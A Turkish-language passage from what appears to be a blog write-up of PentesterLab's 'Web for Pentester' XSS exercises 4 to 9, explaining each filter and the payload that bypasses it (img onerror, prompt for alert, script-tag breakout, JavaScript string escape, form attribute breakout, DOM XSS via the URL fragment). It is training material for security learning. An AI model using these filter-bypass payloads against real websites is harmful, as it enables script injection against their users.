anlaşılan script tagını kullanamayacağız, farklı bir html tagı arasında javascript çalıştırmamız gerekiyor. <img> Tagını kullanmayı deniyoruz.

<img src=”javascript:alert(‘CanYouPwnMe’)”></img>

yukarıdaki payloadı kullanmayı denediğimizde “javascript” kelimesinin de filtreye takıldığını fark ediyoruz, yine “error” mesajı alıyoruz. Aldığımız mesaj aslında bizim için ipucu niteliği taşıyor 🙂 javascriptin onerror olayını kullanarak alert almayı deneyeceğiz.

<img src=onerror=”alert(‘CanYouPwnMe’)”></img>

Yukarıda ki payloadı kullanmayı denediğimizde artık error mesajından kurtulduk ancak alert alamadık.

xss4-2

Hello yazısının yanında image oluştuğunu görebiliyorz ve bu görseli sürükleyip yeni bir sekmeye bıraktığımızda src parametresinde verdiğimiz değerin URL oluşturduğunu ve bu durumun işimizi bozduğunu görüyoruz verdiğimiz bağlantının başına bir dizin için slash ve boşluk koyuyoruz.

Burada alert kodunun tetiklenme sebebine değinecek olursak özetle, image kaynağında verdiğimiz dizinde bir resim bulunamaması HTML tarafından hata olarak algılanıyor ve bu durumda onerror olayı tetikleniyor.

xss4-3

Payload : <img src=/ onerror=”alert(‘CanYouPwnMe’)”></img>

XSS | Example 5

4. örnek yine aynı şekilde devam ediyor, name parametresinin değeri ekrana bastırılıyor.

Bu örnekte alert almak istediğimizde ekrana error mesajı bastırılıyor.

xss5-1

Bunun sebebinin ne olduğunu anlayabilmek için kullandığımız tagları, kelimeleri, işaretleri … teker teker kaldırarak inceliyoruz.

xss5-2

En son <script> <script> taglarının çalıştığını hataya sebep olan kelimenin “alert” olduğunu anlıyoruz, alert yerine prompt kullanacağız.

xss5-3

Payload : <script>prompt(‘CanYouPwnMe’)</script>

XSS | Example 6

6. örnekte de name parametresine değer giriyoruz ancak bu ekrana bastırılmıyor, Değeri değiştirdikten sonra neler olduğunu daha iyi anlayabilmek için FireBug aracı ile kaynağı inceliyoruz.

xss6-1

Mevcut bir script tagının olduğunu görüyoruz, bu script tagını kapatıp kendimizinkini açalım.

xss6-2

Payload : </script><script>alert(‘CanYouPwnMe’)</script>

XSS | Example 7

Bu örnekte değeri değiştirdikten sonra Firebug ile kaynağı incelediğimizde mevcut script taglarını görüyoruz ve girdiğimiz değer script içerisinde bir değişkene atanıyor.

xss7-1

ancak bir önceki örnekte ki gibi mevcut script tagını kapatıp kendi tagımızı açmak istediğimizde < > işaretleri encode ediliyor ve bu durumda kod içerisinde satır yapısının bozulmasına sebep oluyor, aşağıdaki ekran görüntüsünde noktalı virgüllerden bunu anlayabileceksiniz.

xss7-2

Bu durumda yapmamız gereken, mevcut tagı kapatmadan bu script tagları arasında javascript kodumuzu çalıştırmak olacak. İlk önce sistemin çalışma şeklini analiz edelim;

var $a = ‘ Gireceğimiz Değer ‘; yani biz iki tırnak arasında işlem yapıyoruz, bu durumda yapmamız gereken ilk şey, açılmış olan tırnağı kapatmak ve sonrasında satırı sonlandırmak ( ‘ ; ) daha sonra alert kodumuzu eklemek, satırı sonlandırmak ve girdiğimiz değerden sonra tırnağı kapatmak için otomatik gelecek olan tırnağın önüne bir tırnak açmak ( alert(‘CanYouPwnMe’);’ )

xss7-3

Başarılı şekilde alert aldık, yukarıda bahsettiklerimin daha net anlaşılması için bu haldeyken kaynağı inceleyelim.

xss7-4

Payload : ‘;alert(‘CanYouPwnMe’);’

 

XSS | Example 8

Bu örnekte durum biraz değişiyor, artık URL üzerinde bir parametreye değil HTML form üzerinde bir text alanına değer girişi yapacağız.

xss8-1

Basit bir şekilde alert almayı denediğimizde ise HTML taglarının encode şekilde işlendiğini ve HTML olarak çalıştırılmadığını görebiliyoruz.

xss8-2

Formun kaynağını incelediğimizde girdiğimiz değerin tekrar /xss/example8.php bağlantısına post edildiğini ve bu sayfada işlendiğini görebiliyoruz.

xss8-3

xss8-4

Bu durumda ilk deneyeceğimiz şey <form …. > tagının içerisinde script çalıştırmayı denemek olmalı, bunu yapabilmek için girdiğimiz değerde bu dizini sonlandırıp ( / ) action=”….” parametresini kapatıp ( ) son olarak form tagınıda kapattıktan ( > ) sonra script kodlarımızı eklemek.

xss8-5

xss8-6

Payload : /”><script>alert(‘CanYouPwnMe’)</script>

 

XSS | Example 9

xss9-1

Son XSS Örneğinde …/xss/example9.php#hacker şeklinde bir URL ve ekranda bir “hacker” çıktısı ile karşılaşıyoruz, belli ki # işaretinden sonra gelen değeri ekrana bastıran bir sistem var ancak değeri değiştirdiğimizde ekrana bastırılmadığını fark ediyoruz.

xss9-2

bunun sebebi ne olabilir diye düşünecek olursak tabii ki sistem dinamik şekilde çalışıyor yani DOM XSS zafiyeti ile karşı karşıyayız. Değeri değiştirdikten sonra sayfayı yenilediğimizde bunu rahatlıkla fark edebiliyoruz.

xss9-3

XSS payloadımızı # işaretinden sonrasına ekliyoruz ve alertı görebilmek için sayfayı bir kere yenilememiz yeterli oluyor.

xss9-4

Payload : <script>alert(‘CanYouPwnMe’)</script>
&
Refresh

TR | [PentesterLab] Web For Pentester (XSS) Hakkı YÜCE

]]>
https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/feed/ 0